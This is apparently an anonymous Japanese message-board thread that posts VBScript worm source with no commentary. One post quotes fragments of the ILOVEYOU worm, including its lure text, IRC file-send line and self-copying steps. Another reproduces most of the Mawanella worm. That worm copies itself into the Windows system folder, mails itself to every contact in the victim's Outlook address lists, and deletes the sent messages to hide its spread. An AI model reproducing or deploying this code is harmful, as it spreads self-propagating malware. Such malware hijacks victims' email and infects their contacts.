yagasky

このエントリーをはてなブックマークに追加
1yagasky
yagasky
2yagasky:2011/01/30(日) 05:30:18 ID:4Pj3gL8A
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body onload=window();>")
3yagasky:2011/01/30(日) 05:30:43 ID:4Pj3gL8A
On Error Resume Next
main()

sub main()
On Error Resume Next
dim wscr,rr, strMsg
set wscr=CreateObject("WScript.Shell")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set cFile = fso.GetFile(WScript.ScriptFullName)
cFile.Copy(dirsystem&"\Mawanella.vbs")

Set OutlookA = CreateObject("Outlook.Application")
If OutlookA = "Outlook" Then
Set Mapi=OutlookA.GetNameSpace("MAPI")
Set AddLists=Mapi.AddressLists
For Each ListIndex In AddLists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCountX = ListIndex.AddressEntries.Count
For Count= 1 To ContactCountX
Set MailX = OutlookA.CreateItem(0)
Set ContactX = ListIndex.AddressEntries(Count)
'msgbox contactx.address
'Mailx.Recipients.Add(ContactX.Address)
MailX.To = ContactX.Address
MailX.Subject = "Mawanella"
MailX.Body = vbcrlf&"Mawanella is one of the Sri Lanka's Muslim Village"&vbcrlf
'Set Attachment=MailX.Attachments
'Attachment.Add dirsystem & "\Mawanella.vbs"
'Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs")
Mailx.Attachments.Add(dirsystem & "\Mawanella.vbs")
MailX.DeleteAfterSubmit = True
If MailX.To <> "" Then
MailX.Send
End IfNext
End IfNext
ElsemsgBox "Please Forward this to everyone"
End if